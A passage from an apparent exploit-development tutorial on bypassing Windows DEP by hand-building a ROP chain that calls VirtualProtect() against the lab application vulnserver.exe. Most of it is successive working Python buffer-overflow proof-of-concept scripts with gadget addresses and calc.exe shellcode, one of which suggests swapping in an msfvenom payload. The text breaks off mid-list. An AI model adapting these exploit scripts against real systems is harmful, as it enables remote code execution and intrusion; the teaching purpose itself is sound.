Exploit Development: Hands Up! Give Us the Stack! This Is a ROPpery!
Introduction
Over the years, the security community as a whole realized that there needed to be a way to stop exploit developers from easily executing malicious shellcode. Microsoft, over time, has implemented a plethora of intense exploit mitigations, such as: EMET (the Enhanced Mitigation Experience Toolkit), CFG (Control Flow Guard), Windows Defender Exploit Guard, and ASLR (Address Space Layout Randomization).
DEP, or Data Execution Prevention, is another one of those roadblocks that hinders exploit developers. This blog post will only be focusing on defeating DEP, within a stack-based data structure on Windows.
A Brief Word About DEP
Windows XP SP2 32-bit was the first Windows operating system to ship DEP. Every version of Windows since then has included DEP. DEP, at a high level, gives memory two independent permission levels. They are:
- The ability to write to memory.
OR
- The ability to execute memory.
But not both.
What this means, is that someone cannot write AND execute memory at the same time. This means a few things for exploit developers. Let’s say you have a simple vanilla stack instruction pointer overwrite. Let’s also say the first byte, and all of the following bytes of your payload, are pointed to by the stack pointer. Normally, a simple jmp stack pointer instruction would suffice - and it would rain shells. With DEP, it is not that simple. Since that shellcode is user introduced shellcode - you will be able to write to the stack. BUT, as soon as any execution of that user supplied shellcode is attempted - an access violation will occur, and the application will terminate.
DEP manifests itself in four different policy settings. From the MSDN documentation on DEP, here are the four policy settings:
Knowing the applicable information on how DEP is implemented, figuring how to defeat DEP is the next viable step.
Windows API, We Meet Again
In my last post, I explained and outlined how powerful the Windows API is. Microsoft has released all of the documentation on the Windows API, which aids in reverse engineering the parameters needed for API function calls.
Defeating DEP is no different. There are many API functions that can be used to defeat DEP. A few of them include:
The only limitation to defeating DEP, is the number of applicable APIs in Windows that change the permissions of the memory containing shellcode.
For this post, VirtualProtect() will be the Windows API function used for bypassing DEP.
VirtualProtect() takes the following parameters:
BOOL VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
lpAddress = A pointer an address that describes the starting page of the region of pages whose access protection attributes are to be changed.
dwSize = The size of the region whose access protection attributes are to be changed, in bytes.
flNewProtect = The memory protection option. This parameter can be one of the memory protection constants. (0x40 sets the permissions of the memory page to read, write, and execute.)
lpflOldProtect = A pointer to a variable that receives the previous access protection value of the first page in the specified region of pages. (This should be any address that already has write permissions.)
Now this is all great and fine, but there is a question one should be asking themselves. If it is not possible to write the parameters to the stack and also execute them, how will the function get ran?
Let’s ROP!
This is where Return Oriented Programming comes in. Even when DEP is enabled, it is still possible to perform operations on the stack such as push, pop, add, sub, etc.
“How is that so? I thought it was not possible to write and execute on the stack?” This is a question you also may be having. The way ROP works, is by utilizing pointers to instructions that already exist within an application.
Let’s say there’s an application called vulnserver.exe. Let’s say there is a memory address of 0xDEADBEEF that when viewed, contains the instruction add esp, 0x100. If this memory address got loaded into the instruction pointer, it would execute the command it points to. But nothing user supplied was written to the stack.
What this means for exploit developers, is this. If one is able to chain a set of memory addresses together, that all point to useful instructions already existing in an application/system - it might be possible to change the permissions of the memory pages containing malicious shellcode. Let’s get into how this looks from a practicality/hands-on approach.
If you would like to follow along, I will be developing this exploit on a 32-bit Windows 7 virtual machine with ASLR disabled. The application I will be utilizing is vulnserver.exe.
A Brief Introduction to ROP Gadgets and ROP Chains
The reason why ROP is called Return Oriented Programming, is because each instruction is always followed by a ret instruction. Each ASM + ret instruction is known as a ROP gadget. Whenever these gadgets are loaded consecutively one after the other, this is known as a ROP chain.
The ret is probably the most important part of the chain. The reason the return instruction is needed is simple. Let’s say you own the stack. Let’s say you are able to load your whole ROP chain onto the stack. How would you execute it?
Enter ret. A return instruction simply takes whatever is located in the stack pointer (on top of the stack) and loads it into the instruction pointer (what is currently being executed). Since the ROP chain is located on the stack and a ROP chain is simply a bunch of memory addresses, the ret instruction will simply return to the stack, pick up the next memory address (ROP gadget), and execute it. This will keep happening, until there are no more left! This makes life a bit easier.
POC
Enough jibber jabber - here is the POC for vulnserver.exe:
import struct
import sys
import os
import socket
# Vulnerable command
command = "TRUN ."
# 2006 byte offset to EIP
crash = "\x41" * 2006
# Stack Pivot (returning to the stack without a jmp/call)
crash += struct.pack('<L', 0x62501022) # ret essfunc.dll
# 5000 byte total crash
filler = "\x43" * (5000-len(command)-len(crash))
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.16.55.148", 9999))
s.send(command+crash+filler)
s.close()
..But …But What About Jumping to ESP?
There will not be a jmp esp instruction here. Remember, with DEP - this will kill the exploit. Instead, you’ll need to find any memory address that contains a ret instruction. As outlined above, this will directly take us back to the stack. This is normally called a stack pivot.
Where Art Thou ROP Gadgets?
The tool that will be used to find ROP gadgets is rp++. Some other options are to use mona.py or to search manually. To search manually, all one would need to do is locate all instances of ret and look at the above instructions to see if there is anything useful. Mona will also construct a ROP chain for you that can be used to defeat DEP. This is not the point of this post. The point of this post is that we are going to manually ROP the vulnserver.exe program. Only by manually doing something first, are you able to learn.
Let’s first find all of the dependencies that make up vulnserver.exe, so we can map more ROP chains beyond what is contained in the executable. Execute the following mona.py command in Immunity Debugger:
!mona modules:
Next, use rp++ to enumerate all useful ROP gadgets for all of the dependencies. Here is an example for vulnserver.exe. Run rp++ for each dependency:
The -f options specifies the file. The -r option specifies maximum number of instructions the ROP gadgets can contain (5 in our case).
After this, the POC needs to be updated. The update is going to reserve a place on the stack for the API call to the function VirtualProtect(). I found the address of VirtualProtect() to be at address 0x77e22e15. Remember, in this test environment - ASLR is disabled.
To find the address of VirtualProtect() on your machine, open Immunity and double-click on any instruction in the disassembly window and enter
call kernel32.VirtualProtect:
After this, double click on the same instruction again, to see the address of where the call is happening, which is kernel32.VirtualProtect in this case. Here, you can see the address I referenced earlier:
Also, you need to find a flOldProtect address. You can literally place any address in this parameter, that contains writable permissions.
Now the POC can be updated:
import struct
import sys
import os
import socket
# Vulnerable command
command = "TRUN ."
# 2006 byte offset to EIP
crash = "\x41" * 2006
# Stack Pivot (returning to the stack without a jmp/call)
crash += struct.pack('<L', 0x62501022) # ret essfunc.dll
# Calling VirtualProtect with parameters
parameters = struct.pack('<L', 0x77e22e15) # kernel32.VirtualProtect()
parameters += struct.pack('<L', 0x4c4c4c4c) # return address (address of shellcode, or where to jump after VirtualProtect call. Not officially apart of the "parameters"
parameters += struct.pack('<L', 0x45454545) # lpAddress
parameters += struct.pack('<L', 0x03030303) # size of shellcode
parameters += struct.pack('<L', 0x54545454) # flNewProtect
parameters += struct.pack('<L', 0x62506060) # pOldProtect (any writeable address)
# Padding between future ROP Gadgets and shellcode. Arbitrary number (just make sure you have enough room on the stack)
padding = "\x90" * 250
# calc.exe POC payload created with the Windows API system() function.
# You can replace this with an msfvenom payload if you would like
shellcode = "\x31\xc0\x50\x68"
shellcode += "\x63\x61\x6c\x63"
shellcode += "\x54\xbe\x77\xb1"
shellcode += "\xfa\x6f\xff\xd6"
# 5000 byte total crash
filler = "\x43" * (5000-len(command)-len(crash)-len(parameters)-len(padding)-len(rop))
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.16.55.148", 9999))
s.send(command+crash+rop+parameters+padding+shellcode+filler)
s.close()
Before moving on, you may have noticed an arbitrary parameter variable for a parameter called return address added into the POC. This is not a part of the official parameters for VirtualProtect(). The reason this address is there (and right under the VirtualProtect() function) is because whenever the call to the function occurs, there needs to be a way to execute our shellcode. The address of return is going to contain the address of the shellcode - so the application will jump straight to the user supplied shellcode after VirtualProtect() runs. The location of the shellcode will be marked as read, write, and execute.
One last thing. The reason we are adding the shellcode now, is because of one of the properties of DEP. The shellcode will not be executed until we change the permissions of DEP. It is written in advance because DEP will allow us to write to the stack, so long as we are not executing.
Set a breakpoint at the address 0x62501022 and execute the updated POC. Step through the breakpoint with F7 in Immunity and take a look at the state of the stack:
Recall that the Windows API, when called, takes the items on the top of the stack (the stack pointer) as the parameters. That is why the items in the POC under the VirtualProtect() call are seen in the function call (because after EIP all of the supplied data is on the stack).
As you can see, all of the parameters are there. Here, at a high level, is we are going to change these parameters.
It is pretty much guaranteed that there is no way we will find five ROP gadgets that EXACTLY equal the values we need. Knowing this, we have to be more creative with our ROP gadgets and how we go about manipulating the stack to do what we need - which is change what values the current placeholders contain.
Instead what we will do, is put the calculated values needed to call VirtualProtect() into a register. Then, we will change the memory addresses of the placeholders we currently have, to point to our calculated values. An example would be, we could get the value for lpAddress into a register. Then, using ROP, we could make the current placeholder for lpAddress point to that register, where the intended value (real value) of lpAddress is.
Again, this is all very high level. Let’s get into some of the more low-level details.
Hey, Stack Pointer - Stay Right There. BRB.
The first thing we need to do is save our current stack pointer. Taking a look at the current state of the registers, that seems to be 0x018DF9E4:
As you will see later on - it is always best to try to save the stack pointer in multiple registers (if possible).
The reason for this is simple. The current stack pointer is going to contain an address that is near and around a couple of things: the VirtualProtect() function call and the parameters, as well as our shellcode.
When it comes to exploitation, you never know what the state of the registers could be when you gain control of an application. Placing the current stack pointer into some of the registers allows us to easily be able to make calculations on different things on and around the stack area. If EAX, for example, has a value of 0x00000001 at the time of the crash, but you need a value of 0x12345678 in EAX - it is going to be VERY hard to keep adding to EAX to get the intended value. But if the stack pointer is equal to 0x12345670 at the time of the crash, it is much easier to make calculations, if that value is in EAX to begin with.
Time to break out all of the ROP gadgets we found earlier. It seems as though there are two great options for saving the state of the current stack pointer:
0x77bf58d2: push esp ; pop ecx ; ret ; RPCRT4.dll
0x77e4a5e6: mov eax, ecx ; ret ; user32.dll
The first ROP gadget will push the value of the stack pointer onto the stack. It will then pop it into ECX - meaning ECX now contains the value of the current stack pointer. The second ROP gadget will move the value of ECX into EAX. At this point, ECX and EAX both contain the current ESP value.
These ROP gadgets will be placed ABOVE the current parameters. The reason is, that these are vital in our calculation process. We are essentially priming the registers before we begin trying to get our intended values into the parameter placeholders. It makes it easier to do this before the VirtualProtect() call is made.
The updated POC:
import struct
import sys
import os
import socket
# Vulnerable command
command = "TRUN ."
# 2006 byte offset to EIP
crash = "\x41" * 2006
# Stack Pivot (returning to the stack without a jmp/call)
crash += struct.pack('<L', 0x62501022) # ret essfunc.dll
# Beginning of ROP chain
# Saving ESP into ECX and EAX
rop = struct.pack('<L', 0x77bf58d2) # 0x77bf58d2: push esp ; pop ecx ; ret ; (1 found)
rop += struct.pack('<L', 0x77e4a5e6) # 0x77e4a5e6: mov eax, ecx ; ret ; (1 found)
# Calling VirtualProtect with parameters
parameters = struct.pack('<L', 0x77e22e15) # kernel32.VirtualProtect()
parameters += struct.pack('<L', 0x4c4c4c4c) # return address (address of shellcode, or where to jump after VirtualProtect call. Not officially apart of the "parameters"
parameters += struct.pack('<L', 0x45454545) # lpAddress
parameters += struct.pack('<L', 0x03030303) # size of shellcode
parameters += struct.pack('<L', 0x54545454) # flNewProtect
parameters += struct.pack('<L', 0x62506060) # pOldProtect (any writeable address)
# Padding between ROP Gadgets and shellcode. Arbitrary number (just make sure you have enough room on the stack)
padding = "\x90" * 250
# calc.exe POC payload created with the Windows API system() function.
# You can replace this with an msfvenom payload if you would like
shellcode = "\x31\xc0\x50\x68"
shellcode += "\x63\x61\x6c\x63"
shellcode += "\x54\xbe\x77\xb1"
shellcode += "\xfa\x6f\xff\xd6"
# 5000 byte total crash
filler = "\x43" * (5000-len(command)-len(crash)-len(parameters)-len(padding)-len(rop))
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.16.55.148", 9999))
s.send(command+crash+rop+parameters+padding+shellcode+filler)
s.close()
The state of the registers after the two ROP gadgets (remember to place breakpoint on the stack pivot ret instruction and step through with F7 in each debugging step):
As you can see from the POC above, the parameters to VirtualProtect are next up on the stack after the first two ROP gadgets are executed. Since we do not want to overwrite those parameters, we simply would like to “jump” over them for now. To do this, we can simply add to the current value of ESP, with an add esp, VALUE + ret ROP gadget. This will change the value of ESP to be a greater value than the current stack pointer (which currently contains the call to VirtualProtect()). This means we will be farther down in the stack (past the VirtualProtect() call). Since all of our ROP gadgets are ending with a ret, the new stack pointer (which is greater) will be loaded into EIP, because of the ret instruction in the add esp, VALUE + ret. This will make more sense in the screenshots that will be outlined below showing the execution of the ROP gadget. This will be the last ROP gadget that is included before the parameters.
Again, looking through the gadgets created earlier, here is a viable one:
0x6ff821d5: add esp, 0x1C ; ret ; USP10.dll
The updated POC:
import struct
import sys
import os
import socket
# Vulnerable command
command = "TRUN ."
# 2006 byte offset to EIP
crash = "\x41" * 2006
# Stack Pivot (returning to the stack without a jmp/call)
crash += struct.pack('<L', 0x62501022) # ret essfunc.dll
# Beginning of ROP chain
# Saving ESP into ECX and EAX
rop = struct.pack('<L', 0x77bf58d2) # 0x77bf58d2: push esp ; pop ecx ; ret ; (1 found)
rop += struct.pack('<L', 0x77e4a5e6) # 0x77e4a5e6: mov eax, ecx ; ret ; (1 found)
# Jump over parameters
rop += struct.pack('<L', 0x6ff821d5) # 0x6ff821d5: add esp, 0x1C ; ret ; (1 found)
# Stack Pivot (returning to the stack without a jmp/call)
crash += struct.pack('<L', 0x62501022) # ret essfunc.dll
# Calling VirtualProtect with parameters
parameters = struct.pack('<L', 0x77e22e15) # kernel32.VirtualProtect()
parameters += struct.pack('<L', 0x4c4c4c4c) # return address (address of shellcode, or where to jump after VirtualProtect call. Not officially apart of the "parameters"
parameters += struct.pack('<L', 0x45454545) # lpAddress
parameters += struct.pack('<L', 0x03030303) # size of shellcode
parameters += struct.pack('<L', 0x54545454) # flNewProtect
parameters += struct.pack('<L', 0x62506060) # pOldProtect (any writeable address)
# Padding to reach gadgets
padding = "\x90" * 4
# add esp, 0x1C + ret will land here
rop2 = struct.pack('<L', 0xDEADBEEF)
# Padding between ROP Gadgets and shellcode. Arbitrary number (just make sure you have enough room on the stack)
padding2 = "\x90" * 250
# calc.exe POC payload created with the Windows API system() function.
# You can replace this with an msfvenom payload if you would like
shellcode = "\x31\xc0\x50\x68"
shellcode += "\x63\x61\x6c\x63"
shellcode += "\x54\xbe\x77\xb1"
shellcode += "\xfa\x6f\xff\xd6"
# 5000 byte total crash
filler = "\x43" * (5000-len(command)-len(crash)-len(parameters)-len(padding)-len(rop)-len(padding2)-len(padding2))
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.16.55.148", 9999))
s.send(command+crash+rop+parameters+padding+rop2+padding2+shellcode+filler)
s.close()
As you can see, 0xDEADBEEF has been added to the POC. If all goes well, after the jump over the VirtualProtect() parameters, EIP should contain the memory address 0xDEADBEEF.
ESP is 0x01BCF9EC before execution:
ESP after add esp, 0x1C:
As you can see at this point, 0xDEADBEEF is pointed to by the stack pointer. The next instruction of this ROP gadget is ret. This instruction will take ESP (0xDEADBEEF) and load it into EIP. What this means, is that if successful, we will have successfully jumped over the VirtualProtect() parameters and resumed execution afterwards.
We have successfully jumped over the parameters!:
Now all of the semantics have been taken care of, it is time to start getting the actual parameters onto the stack.
Okay, For Real This Time
Notice the state of the stack after everything has been executed:
We can clearly see under the kernel32.VirtualProtect pointer, the return parameter located at 0x19FF9F0.
Remember how we saved our old stack pointer into EAX and ECX? We are going to use ECX to do some calculations. Right now, ECX contains a value of 0x19FF9E4. That value is C hex bytes, or 12 decimal bytes away from the return address parameter. Let’s change the value in ECX to equal the value of the return parameter.
We will repeat the following ROP gadget multiple times:
0x77e17270: inc ecx ; ret ; kernel32.dll
Here is the updated POC:
import struct
import sys
import os
import socket
# Vulnerable command
command = "TRUN ."
# 2006 byte offset to EIP
crash = "\x41" * 2006
# Stack Pivot (returning to the stack without a jmp/call)
crash += struct.pack('<L', 0x62501022) # ret essfunc.dll
# Beginning of ROP chain
# Saving ESP into ECX and EAX
rop = struct.pack('<L', 0x77bf58d2) # 0x77bf58d2: push esp ; pop ecx ; ret ; (1 found)
rop += struct.pack('<L', 0x77e4a5e6) # 0x77e4a5e6: mov eax, ecx ; ret ; (1 found)
# Jump over parameters
rop += struct.pack('<L', 0x6ff821d5) # 0x6ff821d5: add esp, 0x1C ; ret ; (1 found)
# Calling VirtualProtect with parameters
parameters = struct.pack('<L', 0x77e22e15) # kernel32.VirtualProtect()
parameters += struct.pack('<L', 0x4c4c4c4c) # return address (address of shellcode, or where to jump after VirtualProtect call. Not officially apart of the "parameters"
parameters += struct.pack('<L', 0x45454545) # lpAddress
parameters += struct.pack('<L', 0x03030303) # size of shellcode
parameters += struct.pack('<L', 0x54545454) # flNewProtect
parameters += struct.pack('<L', 0x62506060) # pOldProtect (any writeable address)
# Padding to reach gadgets
padding = "\x90" * 4
# add esp, 0x1C + ret will land here
# Increase ECX C bytes (ECX right now contains old ESP) to equal address of the VirtualProtect return address place holder
# (no pointers have been created yet)
rop2 = struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
# Padding between ROP Gadgets and shellcode. Arbitrary number (just make sure you have enough room on the stack)
padding2 = "\x90" * 250
# calc.exe POC payload created with the Windows API system() function.
# You can replace this with an msfvenom payload if you would like
shellcode = "\x31\xc0\x50\x68"
shellcode += "\x63\x61\x6c\x63"
shellcode += "\x54\xbe\x77\xb1"
shellcode += "\xfa\x6f\xff\xd6"
# 5000 byte total crash
filler = "\x43" * (5000-len(command)-len(crash)-len(parameters)-len(padding)-len(rop)-len(padding2)-len(padding2))
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.16.55.148", 9999))
s.send(command+crash+rop+parameters+padding+rop2+padding2+shellcode+filler)
s.close()
After execution of the ROP gadgets, ECX has been increased to equal the position of return:
Perfect. ECX now contains a value of the return parameter. Let’s knock out lpAddress while we are here.
Since lpAddress comes after the return parameter, it will be located 4 bytes after the return parameter on the stack.
Since ECX already contains the return address, adding four bytes would get us to lpAddress. Let’s use ROP to get ECX copied into another register (EDX in this case) and increase EDX by four bytes!
ROP gadgets:
0x6ffb6162: mov edx, ecx ; pop ebp ; ret ; msvcrt.dll
0x77f226d5: inc edx ; ret ; ntdll.dll
Before we move on, take a closer look at the first ROP gadget. The mov edx, ecx instruction is exactly what is needed. The next instruction is a pop ebp. This, as of right now in its current state, would kill our exploit. Recall, pop will take whatever is on the top of the stack away. As of right now, after the first ROP gadget is loaded into EIP - the second ROP gadget above would be located at ESP. The first ROP gadget would actually take the second ROP gadget and throw it in EBP. We don’t want that.
So, what we can do, is we can add “dummy” data directly AFTER the first ROP gadget. That way, that “dummy” data will get popped into EBP (which we do not care about) and the second ROP gadget will be successfully executed.
Updated POC:
import struct
import sys
import os
import socket
# Vulnerable command
command = "TRUN ."
# 2006 byte offset to EIP
crash = "\x41" * 2006
# Stack Pivot (returning to the stack without a jmp/call)
crash += struct.pack('<L', 0x62501022) # ret essfunc.dll
# Beginning of ROP chain
# Saving ESP into ECX and EAX
rop = struct.pack('<L', 0x77bf58d2) # 0x77bf58d2: push esp ; pop ecx ; ret ; (1 found)
rop += struct.pack('<L', 0x77e4a5e6) # 0x77e4a5e6: mov eax, ecx ; ret ; (1 found)
# Jump over parameters
rop += struct.pack('<L', 0x6ff821d5) # 0x6ff821d5: add esp, 0x1C ; ret ; (1 found)
# Calling VirtualProtect with parameters
parameters = struct.pack('<L', 0x77e22e15) # kernel32.VirtualProtect()
parameters += struct.pack('<L', 0x4c4c4c4c) # return address (address of shellcode, or where to jump after VirtualProtect call. Not officially apart of the "parameters"
parameters += struct.pack('<L', 0x45454545) # lpAddress
parameters += struct.pack('<L', 0x03030303) # size of shellcode
parameters += struct.pack('<L', 0x54545454) # flNewProtect
parameters += struct.pack('<L', 0x62506060) # pOldProtect (any writeable address)
# Padding to reach gadgets
padding = "\x90" * 4
# add esp, 0x1C + ret will land here
# Increase ECX C bytes (ECX right now contains old ESP) to equal address of the VirtualProtect return address place holder
# (no pointers have been created yet)
rop2 = struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
# Move ECX into EDX, and increase it 4 bytes to reach location of VirtualProtect lpAddress parameter
# (no pointers have been created yet. Just preparation)
# Now ECX contains the address of the VirtualProtect return address
# Now EDX (after the inc edx instructions), contains the address of the VirtualProtect lpAddress location
rop2 += struct.pack ('<L', 0x6ffb6162) # 0x6ffb6162: mov edx, ecx ; pop ebp ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x50505050) # padding to compensate for pop ebp in the above ROP gadget
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
# Padding between ROP Gadgets and shellcode. Arbitrary number (just make sure you have enough room on the stack)
padding2 = "\x90" * 250
# calc.exe POC payload created with the Windows API system() function.
# You can replace this with an msfvenom payload if you would like
shellcode = "\x31\xc0\x50\x68"
shellcode += "\x63\x61\x6c\x63"
shellcode += "\x54\xbe\x77\xb1"
shellcode += "\xfa\x6f\xff\xd6"
# 5000 byte total crash
filler = "\x43" * (5000-len(command)-len(crash)-len(parameters)-len(padding)-len(rop)-len(padding2)-len(padding2))
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.16.55.148", 9999))
s.send(command+crash+rop+parameters+padding+rop2+padding2+shellcode+filler)
s.close()
The below screenshots show the stack and registers right before the pop ebp instruction. Notice that EIP is currently one address space above the current ESP. ESP right now contains a memory address that points to 0x50505050, which is our padding.
Disassembly window before execution:
Current state of the registers (EIP contains the address of the mov edx, ecx instruction at the moment:
The current state of the stack. ESP contains the memory address 0x0189FA3C, which points to 0x50505050:
Now, here is the state of the registers after all of the instructions except ret have been executed. EDX now contains the same value as ECX, and EBP contains our intended padding value of 0x50505050!:
Remember that we still need to increase EDX by four bytes. The ROP gadgets after the mov edx, ecx + pop ebp + ret take care of this:
Now we have the memory address of the return parameter placeholder in ECX, and the memory address of the lpAddress parameter placeholder in EDX. Let’s take a look at the stack for a second:
Right now , our shellcode is about 100 hex bytes, or about 256 bytes away, from the current return and lpAddress placeholders. Remember when earlier we saved the old stack pointer into two registers: EAX and ECX? Recall also, that we have already manipulated the value of ECX to equal the value of the return parameter placeholder.
EAX still contains the original stack pointer value. What we need to do, is manipulate EAX to equal the location of our shellcode. Well, that isn’t entirely true. Recall in the updated POC, there is a padding variable of 250 NOPs. All we need is EAX to equal an address within those NOPS that come a bit before the shellcode, since the NOPs will slide into the shellcode.
What we need to do, is increase EAX by about 100 bytes, which should be close enough to our shellcode.
NOTE: This may change going forward. Depending on how many ROP gadgets we need for the ROP chain, our shellcode may get pushed farther down on the stack. If this happens, EAX would no longer be pointing to an area around our shellcode. Again, if this problem arises, we can just come back and repeat the process of adding to EAX again.
Here is a useful ROP gadget for this:
0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; msvcrt.dll
We will need two of these instructions. Also, keep in mind - we have a pop ebp instruction in this ROP gadget. This chain of ROP gadgets should be laid out like this:
add eax
0x41414141(padding to be popped into EBP)
Here is the updated POC:
import struct
import sys
import os
import socket
# Vulnerable command
command = "TRUN ."
# 2006 byte offset to EIP
crash = "\x41" * 2006
# Stack Pivot (returning to the stack without a jmp/call)
crash += struct.pack('<L', 0x62501022) # ret essfunc.dll
# Beginning of ROP chain
# Saving ESP into ECX and EAX
rop = struct.pack('<L', 0x77bf58d2) # 0x77bf58d2: push esp ; pop ecx ; ret ; (1 found)
rop += struct.pack('<L', 0x77e4a5e6) # 0x77e4a5e6: mov eax, ecx ; ret ; (1 found)
# Jump over parameters
rop += struct.pack('<L', 0x6ff821d5) # 0x6ff821d5: add esp, 0x1C ; ret ; (1 found)
# Calling VirtualProtect with parameters
parameters = struct.pack('<L', 0x77e22e15) # kernel32.VirtualProtect()
parameters += struct.pack('<L', 0x4c4c4c4c) # return address (address of shellcode, or where to jump after VirtualProtect call. Not officially apart of the "parameters"
parameters += struct.pack('<L', 0x45454545) # lpAddress
parameters += struct.pack('<L', 0x03030303) # size of shellcode
parameters += struct.pack('<L', 0x54545454) # flNewProtect
parameters += struct.pack('<L', 0x62506060) # pOldProtect (any writeable address)
# Padding to reach gadgets
padding = "\x90" * 4
# add esp, 0x1C + ret will land here
# Increase ECX C bytes (ECX right now contains old ESP) to equal address of the VirtualProtect return address place holder
# (no pointers have been created yet)
rop2 = struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e17270) # 0x77e17270: inc ecx ; ret ; (1 found)
# Move ECX into EDX, and increase it 4 bytes to reach location of VirtualProtect lpAddress parameter
# (no pointers have been created yet. Just preparation)
# Now ECX contains the address of the VirtualProtect return address
# Now EDX (after the inc edx instructions), contains the address of the VirtualProtect lpAddress location
rop2 += struct.pack ('<L', 0x6ffb6162) # 0x6ffb6162: mov edx, ecx ; pop ebp ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x50505050) # padding to compensate for pop ebp in the above ROP gadget
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
# Increase EAX, which contains old ESP, to equal around the address of shellcode
# Determine how far shellcode is away, and add that difference into EAX, because
# EAX is being used for calculations
rop2 += struct.pack('<L', 0x6ff7e29a) # 0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; (1 found)
rop2 += struct.pack('<L', 0x41414141) # padding to compensate for pop ebp in the above ROP gadget
# Padding between ROP Gadgets and shellcode. Arbitrary number (just make sure you have enough room on the stack)
padding2 = "\x90" * 250
# calc.exe POC payload created with the Windows API system() function.
# You can replace this with an msfvenom payload if you would like
shellcode = "\x31\xc0\x50\x68"
shellcode += "\x63\x61\x6c\x63"
shellcode += "\x54\xbe\x77\xb1"
shellcode += "\xfa\x6f\xff\xd6"
# 5000 byte total crash
filler = "\x43" * (5000-len(command)-len(crash)-len(parameters)-len(padding)-len(rop)-len(padding2)-len(padding2))
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.16.55.148", 9999))
s.send(command+crash+rop+parameters+padding+rop2+padding2+shellcode+filler)
s.close()
Now EAX contains an address that is around our shellcode, and will lead to execution of shellcode when it is returned to after the VirtualProtect() call, via a NOP sled:
Up until this point, you may have been asking yourself, “how the heck are those parameters going to get changed to what we want? We are already so far down the stack, and the parameters are already placed in memory!” Here is where the cool (well, cool to me) stuff comes in.
Let’s recall the state of our registers up until this point:
- ECX: location of
returnparameter placeholder - EDX: location of
